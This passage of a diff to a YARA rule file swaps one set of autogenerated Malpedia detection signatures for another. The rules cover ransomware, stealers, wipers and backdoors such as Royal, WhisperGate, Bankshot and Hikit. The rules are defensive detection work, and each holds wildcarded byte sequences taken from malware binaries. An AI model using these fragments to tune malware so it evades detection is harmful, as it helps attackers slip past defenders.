"N/A" - logic_hash = "64a375dcaabd1648c075b4080e903b454efe58d8f528e81ccff7ee3035b4b817" + logic_hash = "72cc75115eff495a52d292944ce30cf871fe0425f0d810307073cc2873931dac" score = 75 quality = 75 tags = "FILE" @@ -86970,32 +86988,32 @@ rule MALPEDIA_Win_Betabot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f7d0 2345fc eb02 33c0 c9 c20800 55 } - $sequence_1 = { ff15???????? 85c0 7413 8d4df8 e8???????? 50 8d45f8 } - $sequence_2 = { 7440 8d45f4 50 8d45f8 50 ff75fc ff15???????? } - $sequence_3 = { 8bc6 83e80c 53 57 741d 48 7551 } - $sequence_4 = { 8bec 81ecac000000 8365f800 8365f000 8365f400 8365fc00 } - $sequence_5 = { ff15???????? 85c0 7504 6a06 eb11 68???????? } - $sequence_6 = { 741a 837df800 7414 8b45f8 8b4804 e8???????? 8945fc } - $sequence_7 = { a3???????? 8bc7 5f 5e 5d c20400 55 } - $sequence_8 = { ff15???????? 85c0 75df 6a32 58 ebdc 55 } - $sequence_9 = { 8d04b8 833800 7414 ff30 ff45fc e8???????? 8b460c } + $sequence_0 = { 4c897ddf 488b18 e8???????? 488d4d6f 4c8bc3 48894c2440 } + $sequence_1 = { 33f6 4d85db 744a 4f8d0c00 498bf8 4d85c0 7439 } + $sequence_2 = { 743f 4180f97b 0f84b6000000 4180f92d 740e 4180e930 4180f909 } + $sequence_3 = { 33c9 e8???????? 488b4def ffd0 4c3965f7 741e 41b9fc000000 } + $sequence_4 = { ff15???????? 488b5c2450 448d4fda 33d2 33c9 41b842a86f9e e8???????? } + $sequence_5 = { 488bd8 e8???????? 488bcb 4c8b4008 488b10 e8???????? 488d15cd5c0000 } + $sequence_6 = { 448bc2 41c1e803 4183f80a 7de8 4d85d2 7464 4885db } + $sequence_7 = { 458bfe e8???????? 4533c9 4489742420 4533c0 33d2 } + $sequence_8 = { c3 33d2 488bc1 4885c9 7505 c3 4883c102 } + $sequence_9 = { 488b5028 c745db05000000 e8???????? 488bd0 488d4de3 e8???????? } condition: - 7 of them and filesize < 835584 + 7 of them and filesize < 147456 } -rule MALPEDIA_Win_Dispcashbr_Auto : FILE +rule MALPEDIA_Win_Royal_Ransom_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "55df9dfe-3a05-5311-b783-4a51e2e4694d" + id = "b707ba7e-f795-5786-96ea-1fd46c83e33f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dispcashbr" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dispcashbr_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_ransom" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.royal_ransom_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "086284cd3c4f836fd2903e8ee5f20f6af858fd595f5b202fe80164aaffa860ae" + logic_hash = "ff950c4f22d55465d57ffb0791253a97dd6631f204494c457bce80921890bdb0" score = 75 quality = 75 tags = "FILE" @@ -87009,32 +87027,32 @@ rule MALPEDIA_Win_Dispcashbr_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83ec08 c7442408c8ffffff c7442404???????? } - $sequence_1 = { e8???????? e9???????? c70424f5ffffff e8???????? } - $sequence_2 = { c744240404000000 890424 e8???????? 83ec08 c7442408f2ffffff } - $sequence_3 = { c744240404000000 890424 e8???????? 83ec08 c7442408c9ffffff c7442404???????? a1???????? } - $sequence_4 = { c744240404000000 890424 e8???????? 83ec08 c7442408eaffffff c7442404???????? a1???????? } - $sequence_5 = { 890424 e8???????? 83ec08 c7442408c8ffffff } - $sequence_6 = { e8???????? 83ec08 c7442408c9ffffff c7442404???????? a1???????? 83c020 890424 } - $sequence_7 = { c744240404000000 890424 e8???????? 83ec08 c7442408fcffffff c7442404???????? } - $sequence_8 = { 83c020 8944240c c744240822000000 c744240401000000 c70424???????? e8???????? } - $sequence_9 = { 83ec04 c744240404000000 890424 e8???????? 83ec08 c7442408e6ffffff c7442404???????? } + $sequence_0 = { e8???????? 4c8d059b3b1400 ba8f000000 e9???????? 488b4608 8b08 e8???????? } + $sequence_1 = { 803d????????00 754c 488d0d5c220d00 48890d???????? 488d050e1f0d00 488d0d37210d00 488905???????? } + $sequence_2 = { e8???????? 482be0 488bfa 488bd9 4885c9 747e 488d156abf0600 } + $sequence_3 = { 85c0 0f450d???????? 85c9 7411 488d0d31212400 e8???????? 4885c0 } + $sequence_4 = { e8???????? 4c8d0503171400 8d562b 488d0d09171400 e8???????? 4533c0 8d4e10 } + $sequence_5 = { c3 e8???????? 4c8d0553bd1400 ba8f010000 488d0d2fbd1400 e8???????? 4533c0 } + $sequence_6 = { e8???????? 397010 0f84ccfeffff e8???????? 4c8d052eb91400 ba66000000 488d0deab81400 } + $sequence_7 = { 754c e8???????? 4c8d05aeb81600 bae9000000 488d0d8ab81600 e8???????? 4533c0 } + $sequence_8 = { e8???????? 4c8d0533510e00 bac1010000 488d0da7500e00 e8???????? 4533c0 8d4f39 } + $sequence_9 = { c3 49ff80c0000000 488bcb 488b4308 8b10 e8???????? b801000000 } condition: - 7 of them and filesize < 123904 + 7 of them and filesize < 6235136 } -rule MALPEDIA_Win_Unidentified_053_Auto : FILE +rule MALPEDIA_Win_Hikit_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "44778796-93f3-5879-994d-5e3e2324b3e0" + id = "cf2c2140-f351-5d9d-a962-449d1b05d24a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_053" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_053_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hikit" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hikit_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "0ba9fcbf3221aa7fe9aa16ac81cd13a3c2e0b0b30a12bf9f5e09619187f5d921" + logic_hash = "d51c1ae21b05f4f7340fe9215a9d683066cb3055762a66620984bf5bd09e28e0" score = 75 quality = 75 tags = "FILE" @@ -87048,32 +87066,32 @@ rule MALPEDIA_Win_Unidentified_053_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f857afeffff 393cb500924100 742e a1???????? 8d70ff 85f6 } - $sequence_1 = { 0fb6bdb0fffcff c1e208 0bd7 03d0 2bca 6a00 } - $sequence_2 = { 754d 53 57 8d3c85a8914100 833f00 bb00100000 7520 } - $sequence_3 = { 7e13 8d048dfc914100 3938 7408 4a } - $sequence_4 = { 8a6e1b 0fb64619 0fb67df4 8a4e1a } - $sequence_5 = { 81e9003ca875 87d6 4e 46 87d6 81c1003ca875 } - $sequence_6 = { 0fb6d2 f6820194410004 7406 8b10 41 } - $sequence_7 = { c1c719 e8???????? 87f2 e8???????? 2bd5 } - $sequence_8 = { 891d???????? 4a 87d6 8915???????? 03f7 46 893d???????? } - $sequence_9 = { 8b048588814100 234508 8b4e14 8d04c1 0fb64801 8b5004 83fa10 } + $sequence_0 = { 8b442408 39442418 0f84e8000000 c744240401000000 8b442408 89442428 8b442428 } + $sequence_1 = { 48 c784245001000000000000 48 c744244000000000 48 c784244801000000000000 48 } + $sequence_2 = { 68???????? 6a24 8b45f8 83c004 50 e8???????? 83c424 } + $sequence_3 = { 52 8d8c2498120000 51 33c9 03c0 8d510c } + $sequence_4 = { 7408 81f90c000140 7506 8988e0000000 ff7514 ff7510 51 } + $sequence_5 = { 0f8427020000 8d8758080000 50 ff15???????? f6460d04 7546 8b4608 } + $sequence_6 = { 48 03c1 48 89442440 48 8b842488010000 0fb600 } + $sequence_7 = { 85c0 0f8e84000000 48 8b442428 0fb7501a 48 8b4c2428 } + $sequence_8 = { 7e0c 48 8b442450 c6803201000000 48 8b442450 0fb68031010000 } + $sequence_9 = { 48 8b442420 8b5028 48 c1ea0c 48 8b442420 } condition: - 7 of them and filesize < 294912 + 7 of them and filesize < 573440 } -rule MALPEDIA_Win_Netspy_Auto : FILE +rule MALPEDIA_Win_Royal_Dns_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "57c767b8-cd93-5302-911f-6988f847c306" + id = "8e4eee0e-991f-5e5c-8e46-34ff6666420e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netspy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.netspy_auto.yar#L1-L100" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.royal_dns_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "ecbb26e5fda724e71586bc695509ce41d8249123e16dac20dd9df75d451bc239" + logic_hash = "ebf3458b22350e610da4d705384f784d27dfca7bf952035b68054c9acd2a2a7b" score = 75 quality = 75 tags = "FILE" @@ -87087,30 +87105,32 @@ rule MALPEDIA_Win_Netspy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4829c4 488b8538340000 4889e1 48898d704d0000 e8???????? } - $sequence_1 = { e9???????? 8b858c170000 3da1b579e1 0f84d92c0000 e9???????? 8b858c170000 3da646bcce } - $sequence_2 = { 48898510130000 8b15???????? 833d????????0a 0f9cc1 } - $sequence_3 = { a801 0f8505000000 e9???????? 488b8da0380000 448b859c380000 } - $sequence_4 = { b8a51c0a0c f6c201 0f45c8 488b85c84a0000 8908 8b15???????? } - $sequence_5 = { 4889e1 48898d90560000 e8???????? 4829c4 } - $sequence_6 = { e9???????? 488b85384d0000 8b00 8985544d0000 e9???????? 488b85404d0000 8a00 } - $sequence_7 = { 448b855c570000 4889c4 b9bc3715ff b88819ea06 } + $sequence_0 = { 83c40c 56 83c30d 8d85d8fcffff 53 50 } + $sequence_1 = { 83c404 83bdb1f7ffff64 8b8dbbf7ffff 8d70f1 7559 83f964 7554 } + $sequence_2 = { f3a5 e8???????? 83c40c b908000000 } + $sequence_3 = { be???????? 8d7dd8 f3a5 83c40c 6a01 a4 e8???????? } + $sequence_4 = { 0fb65c0602 c1ea07 03db 0bd3 83e21f 0fb69248132500 885104 } + $sequence_5 = { 8d85c0feffff 6a00 50 c785b0feffffa9ea6152 c785b4feffffe7a5db56 } + $sequence_6 = { 7416 83fe04 7511 8b95bff7ffff 89957cf1ffff e9???????? 85c9 } + $sequence_7 = { 6888130000 ff15???????? 4e 75f2 68e4000000 8d85c0f5ffff 6a00 } + $sequence_8 = { 393d???????? 7c11 6860ea0000 ffd6 c705????????00000000 68b80b0000 } + $sequence_9 = { 772a ff248590162400 6a01 6a03 } condition: - 7 of them and filesize < 12033024 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Ratankba_Auto : FILE +rule MALPEDIA_Win_Whispergate_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6a3f1f15-dacb-52cd-b11b-5a08568d4510" + id = "9dc05d10-b36b-5ddc-8d53-1a84a19c9fff" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankba" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ratankba_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whispergate" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.whispergate_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "245ded0bb432e91f4a3aadcb5c1a265abfb5f2ea6a66bf5a1e4eebc1e9edd031" + logic_hash = "f1a5fde20ead0d040272e28cb5dd9257a9305ae69c007901daa130bb710a267b" score = 75 quality = 75 tags = "FILE" @@ -87124,34 +87144,34 @@ rule MALPEDIA_Win_Ratankba_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b17 8d0c8500000000 51 6a00 52 e8???????? 8b06 } - $sequence_1 = { c745fcffffffff 899edc000000 899ee0000000 39bdd0d5ffff 720f 8b8dbcd5ffff 51 } - $sequence_2 = { 8d8db4feffff 53 51 c785b4feffff00000000 e8???????? 8bd8 } - $sequence_3 = { 751b 8b45f8 3bc3 7409 50 e8???????? 83c404 } - $sequence_4 = { 8b9510ffffff 85f6 744d 8b8ddcfeffff bb10000000 395914 7202 } - $sequence_5 = { 8b5304 6a18 8944ca04 e8???????? 8bf0 85f6 0f8837ffffff } - $sequence_6 = { e8???????? 8b5004 8b45e4 8b4cd004 51 e8???????? } - $sequence_7 = { 8986b8010000 8986bc010000 899eb0010000 c786b401000060ea0000 8bc6 8b4df4 } - $sequence_8 = { 48 3bc7 7224 b857000780 e8???????? 8bc7 e8???????? } - $sequence_9 = { 83c404 898394000000 85c0 0f847d000000 8b8d10efffff 51 } + $sequence_0 = { 85c0 89f4 0f841bffffff 8b5508 85d2 0f8410ffffff 8b5508 } + $sequence_1 = { 83f801 0f8543010000 83c30c 81fb???????? 0f8389000000 8b13 8b7b04 } + $sequence_2 = { 83c301 ebe1 83c301 ebe3 8d6b01 e9???????? } + $sequence_3 = { b8???????? c705????????01000000 2d???????? 83f807 7ee0 57 } + $sequence_4 = { 53 83ec4c f605????????02 0f84ea020000 e8???????? 8965c4 } + $sequence_5 = { 84d2 7906 81cf00ffffff 29f7 8d54241c } + $sequence_6 = { c1e004 e8???????? 8b4de0 29c4 } + $sequence_7 = { 83f802 89c1 7417 8d65f4 89c8 5b } + $sequence_8 = { 5e c3 31d2 89d0 c3 } + $sequence_9 = { c706???????? 893424 8b4d10 89fa 89d8 e8???????? } condition: - 7 of them and filesize < 303104 + 7 of them and filesize < 114688 } -rule MALPEDIA_Win_Data_Exfiltrator_Auto : FILE +rule MALPEDIA_Win_Bankshot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9dfe6899-2a2b-53e4-a45a-9d47fab0bd97" + id = "c44209fc-b1c7-5402-9078-b4bcc5bc536b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.data_exfiltrator" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.data_exfiltrator_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bankshot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bankshot_auto.yar#L1-L435" license_url = "N/A" - logic_hash = "76dad4826c4efcd47bcf7b7baeb8873c247d502d84bcb2a2073a82e8e3d63f8c" + logic_hash = "63bc5c29766faa4a92cc1d97b03d2ca49fa1b92e737ecc0b56db090eb70af715" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -87163,32 +87183,67 @@ rule MALPEDIA_Win_Data_Exfiltrator_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 48837c246800 7504 33c0 eb19 488b542450 488b4c2468 } - $sequence_1 = { 488b442430 8b4c2438 89480c 488b442430 4881c4e8000000 c3 } - $sequence_2 = { 488d152b530000 488b4c2440 ff15???????? 4889442420 } - $sequence_3 = { 8a442470 88442440 48c744243800000000 488d0595c8ffff 4889442430 488d0555d9ffff 4889442428 } - $sequence_4 = { 448bc8 4c8b442420 488b15???????? 488d4c2460 } - $sequence_5 = { 48894c2408 4883ec78 ff15???????? 41b800010000 } - $sequence_6 = { 85c0 742c 0fb6442421 8b4c2424 83c105 8bc9 488b942440010000 } - $sequence_7 = { 488d0dad360000 e8???????? 41b840000000 ba00300000 b908000000 } - $sequence_8 = { 837c245c00 7407 837c244000 7502 eb33 8b442440 } - $sequence_9 = { 488bc1 4889842498000000 488b942498000000 488b8c24c8000000 } + $sequence_0 = { 8bec 81ec48040000 a1???????? 33c5 8945f8 53 } + $sequence_1 = { 8bf8 8d5101 8a01 41 84c0 75f9 57 } + $sequence_2 = { 68???????? ff7604 ff15???????? 81be2005000000008000 894608 751c 6a04 } + $sequence_3 = { 0f2815???????? 8bf2 2bf0 660f1f440000 0f10840de43fffff 0f28ca 660fefc8 } + $sequence_4 = { 0fb611 0fb6c0 eb17 81fa00010000 7313 8a87bce10110 } + $sequence_5 = { 83c8e0 40 0f280d???????? 8bf2 2bf0 660f1f440000 0f10840de4bfffff } + $sequence_6 = { 6a01 56 56 8975fc ff15???????? 85c0 7450 } + $sequence_7 = { c74048b8e40110 8b4508 6689486c 8b4508 66898872010000 8b4508 83a04c03000000 } + $sequence_8 = { 8b45fc 817848b8e40110 7409 ff7048 e8???????? 59 c70701000000 } + $sequence_9 = { 57 50 e8???????? 83c40c 6b45e430 8945e0 8d80d0e10110 } + $sequence_10 = { 81fa00010000 7313 8a87bce10110 08441619 42 0fb64101 } + $sequence_11 = { 894de4 3998c0e10110 0f84ea000000 41 83c030 894de4 3df0000000 } + $sequence_12 = { 33c0 6800000020 66898475ccfbffff 8d85ccfbffff } + $sequence_13 = { e8???????? 83c40c e8???????? 99 b907000000 f7f9 } + $sequence_14 = { 8a06 8d7601 884431ff 84c0 75f3 68???????? 8d730c } + $sequence_15 = { c700???????? 8b4508 898850030000 8b4508 59 c74048b8e40110 8b4508 } + $sequence_16 = { e8???????? 83c404 89861c020000 8b45e0 8d4e0c 6a06 8d90c4e10110 } + $sequence_17 = { c644243b7b c644243cc1 884c243d c644243ef5 } + $sequence_18 = { 6b05????????3c 0305???????? 0fb74df4 6bd13c 0fb74df6 } + $sequence_19 = { 8b442454 50 ff15???????? b801000000 } + $sequence_20 = { 488d91f00f0000 e8???????? 41bb12000000 488d158b760000 } + $sequence_21 = { 51 8d9508f8ffff 52 ff15???????? } + $sequence_22 = { 83c20f 8955dc 8b55ec 81c2e80e0000 52 } + $sequence_23 = { 41ffcb 4183cbf0 41ffc3 488d9530010000 b904010000 44891d???????? } + $sequence_24 = { 895c242c ff15???????? b910000000 33c0 } + $sequence_25 = { 2b8534feffff 3dd0070000 7307 33c0 e9???????? 8d8d5cfeffff 51 } + $sequence_26 = { 57 e8???????? 83c40c 85c0 7506 8d4707 50 } + $sequence_27 = { e8???????? 83c408 c78424a804000000000000 c78424a404000009303b00 8d8424a4040000 6808040000 eb80 } + $sequence_28 = { c785a4fbffff00000000 682c010000 ff15???????? c705????????00000000 68???????? ff15???????? } + $sequence_29 = { ff15???????? 4885c0 0f85a7010000 448d4870 448d402e 488d15ce520000 } + $sequence_30 = { 488d55c0 488bcb ff15???????? 4885c0 0f85df020000 488d55e0 488bcb } + $sequence_31 = { 59 eb33 8b7dd0 8b45e4 8b4de8 8b0485c8887100 } + $sequence_32 = { 57 c685b8feffff00 6803010000 6a00 8d85b9feffff 50 } + $sequence_33 = { e8???????? a1???????? 0f1005???????? 898584fbffff 66a1???????? } + $sequence_34 = { c64424210d e8???????? 8b4c2410 8b542414 8b442418 890d???????? } + $sequence_35 = { c6442421cd c64424229c c64424231d c644242436 } + $sequence_36 = { 57 8db8607d0110 57 ff15???????? ff0d???????? 83ef18 } + $sequence_37 = { c644241bc4 c644241c90 c644241d9c c644241e46 c644241f7b c64424209d } + $sequence_38 = { 4803d1 ffe2 4c8b05???????? 498d5106 488bcf } + $sequence_39 = { ff15???????? 488d15a6f20000 488d4c2420 488905???????? } + $sequence_40 = { 33c0 ffc2 83fa0a 7ce4 b80b000000 c3 } + $sequence_41 = { 83c410 8d4c2460 8d542408 51 683f000f00 6a00 } + $sequence_42 = { c3 4889b424b0450000 4889bc24b8450000 4c89ac24c0450000 } + $sequence_43 = { 83c40c 8d85bcfbffff 50 6804010000 ff15???????? 8d85bcfeffff 50 } + $sequence_44 = { 57 8b3d???????? 8bf1 68???????? 89b55cf2ffff 660fd645f0 8945f8 } condition: - 7 of them and filesize < 107520 + 7 of them and filesize < 860160 } -rule MALPEDIA_Win_Ransomhub_Auto : FILE +rule MALPEDIA_Win_Nailao_Locker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3e3a1e40-e1d1-52bd-84f7-e9d4fbcb059d" + id = "e45fdbac-42d1-5920-9b35-9a9e44ef7d5d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomhub" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ransomhub_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nailao_locker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nailao_locker_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "04cb851589645119dff5d45b0c40a2835781fcc030d792f49fd4c3e1be1bf3b4" + logic_hash = "b259eb4feabff6fee143b3ad97a8691b9630885ab19604f45e8a846a4deaff46" score = 75 quality = 75 tags = "FILE" @@ -87202,32 +87257,32 @@ rule MALPEDIA_Win_Ransomhub_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb0f 488d3dbb5d5100 0f1f00 e8???????? e8???????? 48891d???????? 833d????????00 } - $sequence_1 = { e8???????? 488d3d03f63300 0f1f00 e8???????? e8???????? 4889842430190000 48899c24b00a0000 } - $sequence_2 = { bb07000000 488bac2488000000 4881c490000000 c3 488d058db90b00 bb07000000 488bac2488000000 } - $sequence_3 = { bf01000000 488b8424f00b0000 e8???????? 4c8b8c24f00b0000 41ff8980000000 488b8c2488030000 488b8424b8030000 } - $sequence_4 = { b90f000000 e8???????? 48898424000e0000 48899c24b8000000 488b15???????? 48899424c0110000 488d0580fd2800 } - $sequence_5 = { 48c744243400000000 0fb6542449 0fb6742443 01f2 0fb6742442 0fb67c244c 440fb6442457 } - $sequence_6 = { eb09 4889c7 90 e8???????? 488d05d40d2f00 488b5c2438 488d0db3af3300 } - $sequence_7 = { 4d8d0cb0 4d8d49fc 450fb609 488d4701 4839c1 0f86ff000000 4829f2 } - $sequence_8 = { c3 80fb2d 0f85be010000 8400 833d????????00 750c 488d0dbdfa2800 } - $sequence_9 = { e8???????? 4889442428 48c70000000000 488d05b41b0700 e8???????? 4889442420 488d05a3ea0900 } + $sequence_0 = { ff15???????? 4c8d4c2474 488bcb 4c8d44246c 488d542464 ff15???????? } + $sequence_1 = { 488bc5 4c8d0551650100 488bcd 48c1f906 83e03f 498b0cc8 488d14c0 } + $sequence_2 = { 488bd8 4885c0 7560 488bc7 4c8d35104cffff 498784f620120200 } + $sequence_3 = { e8???????? 4c8d458c 488bd7 85c0 7411 448bc8 488d0ddd7a0100 } + $sequence_4 = { 48c744242000000000 488bce ff15???????? 85c0 741d 41ffc6 } + $sequence_5 = { c705????????01000000 b808000000 486bc000 488d0d19d80100 8b542430 48891401 } + $sequence_6 = { 488d0ddd7a0100 e8???????? eb58 488d0d1f7b0100 eb47 488d1596790100 488bcb } + $sequence_7 = { e8???????? 488d156f870100 488d4c2420 e8???????? } + $sequence_8 = { ff15???????? 85c0 750d 4c8d442450 488bd7 e8???????? 83eb01 } + $sequence_9 = { 488985d0070000 49895b20 488bfa 498973e8 4d896bd8 4d8be8 } condition: - 7 of them and filesize < 12821504 + 7 of them and filesize < 512000 } -rule MALPEDIA_Win_Himera_Loader_Auto : FILE +rule MALPEDIA_Win_Isr_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d48b80f9-ba7c-5b70-abe3-35c7e699db08" + id = "f92134ff-d8ee-58cb-8cb8-468d7205306f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.himera_loader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.himera_loader_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isr_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.isr_stealer_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "ac37c3c2c74b38220d6622ffc9fadece4f2263ad47a93b2ffce232c15567e711" + logic_hash = "75691989209029cb7a637cf5df87a857ef3ef18b6fe3194f56cba1ecab86658c" score = 75 quality = 75 tags = "FILE" @@ -87241,32 +87296,32 @@ rule MALPEDIA_Win_Himera_Loader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c645e656 c645e70e c645e801 c645e90e c645ea18 c645eb1a } - $sequence_1 = { 83e03f c1f906 6bd038 8b0c8d00a14200 804c112802 5b } - $sequence_2 = { 83bd00faffff00 7409 83bd1cfaffff00 7504 33c0 } - $sequence_3 = { 0f84d3000000 8b048d7c3c4200 89858cf8ffff 85c0 0f8498000000 83f801 0f84b5000000 } - $sequence_4 = { 6689411e 6a10 ba02000000 c1e204 8b4508 0fb70c10 } - $sequence_5 = { 0fb6d0 85d2 744c 8d4df0 e8???????? 8945e8 8b45e8 } - $sequence_6 = { e8???????? 83c404 33d2 88957582ffff } - $sequence_7 = { 8d950c82ffff 52 8d85ec81ffff 50 8d8de881ffff 51 } - $sequence_8 = { 8945f0 50 8d45f4 64a300000000 894da4 c745a048000000 c645a846 } - $sequence_9 = { e8???????? 8bc8 e8???????? 50 8b8d3082ffff } + $sequence_0 = { fb b05e 2bc1 e8???????? 661e } + $sequence_1 = { 08ac22c115978d 0e e8???????? 07 } + $sequence_2 = { 1c8b 53 2456 2bd1 807e6543 } + $sequence_3 = { 46 1e 301b 15c2c8c807 d6 12d8 } + $sequence_4 = { 8d16 b205 07 d32cb6 08ac22c115978d 0e e8???????? } + $sequence_5 = { a7 8d16 b205 07 d32cb6 08ac22c115978d } + $sequence_6 = { 07 fb b05e 2bc1 e8???????? } + $sequence_7 = { 8d16 b205 07 d32cb6 08ac22c115978d 0e } + $sequence_8 = { 07 d32cb6 08ac22c115978d 0e e8???????? } + $sequence_9 = { e8???????? 07 fb b05e 2bc1 e8???????? 661e } condition: - 7 of them and filesize < 385024 + 7 of them and filesize < 540672 } -rule MALPEDIA_Win_Mailto_Auto : FILE +rule MALPEDIA_Win_Asruex_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ff9d1a8b-72b0-54b9-b1c0-036aa2d1956d" + id = "899abd0f-c835-5f70-819c-92570cc9b462" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mailto" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mailto_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.asruex" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.asruex_auto.yar#L1-L112" license_url = "N/A" - logic_hash = "74f6ff054191d80b386ecb2515d44043acc73f0e2a8bfe9bc33853bab8856df0" + logic_hash = "a14db0e4e44f1156fe16afe843345aa29b9b1f1eb3cc060b10e0bcdf06eb97d4" score = 75 quality = 75 tags = "FILE" @@ -87280,32 +87335,32 @@ rule MALPEDIA_Win_Mailto_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 57 e8???????? 56 ffb42498050000 8d8424e8010000 50 } - $sequence_1 = { 8bce d1ee 83e101 f7d9 81e12083b8ed 33ce 8bd1 } - $sequence_2 = { 7434 a1???????? 8d048504000000 50 ff35???????? e8???????? 83c408 } - $sequence_3 = { b938000000 8d3c32 2bca 33c0 8bd1 c1e902 f3ab } - $sequence_4 = { 47 ff742418 897c2420 6a03 e8???????? 8bf0 } - $sequence_5 = { 83c614 ff36 e8???????? 83c404 8d7620 83ed01 75ee } - $sequence_6 = { 8d4010 0f104406f0 660fefc1 0f1140f0 83e901 75eb } - $sequence_7 = { 6a00 6a02 ffd0 85c0 0f8517020000 53 55 } - $sequence_8 = { 0f1f4000 8b840c54030000 01440c0c 8b840c58030000 11440c10 8b840c5c030000 01440c14 } - $sequence_9 = { d1ea 83e101 f7d9 81e12083b8ed 33ca 8bd1 d1e9 } + $sequence_0 = { 85c0 740e 85ed 740a } + $sequence_1 = { e8???????? 83f8ff 7407 3d0000a000 } + $sequence_2 = { ff15???????? 85c0 7407 3d14270000 } + $sequence_3 = { 3c78 7404 3c58 7505 bb01000000 } + $sequence_4 = { 83f801 740e 83f803 7409 83f802 } + $sequence_5 = { 3c0d 7404 3c0a 7516 } + $sequence_6 = { 7404 3c58 7505 bb01000000 } + $sequence_7 = { 3c09 7408 3c0d 7404 3c0a 7516 } + $sequence_8 = { 7408 3c0d 7404 3c0a 7516 } + $sequence_9 = { 740c 3c09 7408 3c0d 7404 3c0a 7516 } condition: - 7 of them and filesize < 180224 + 7 of them and filesize < 1564672 } -rule MALPEDIA_Win_Deputy_Auto : FILE +rule 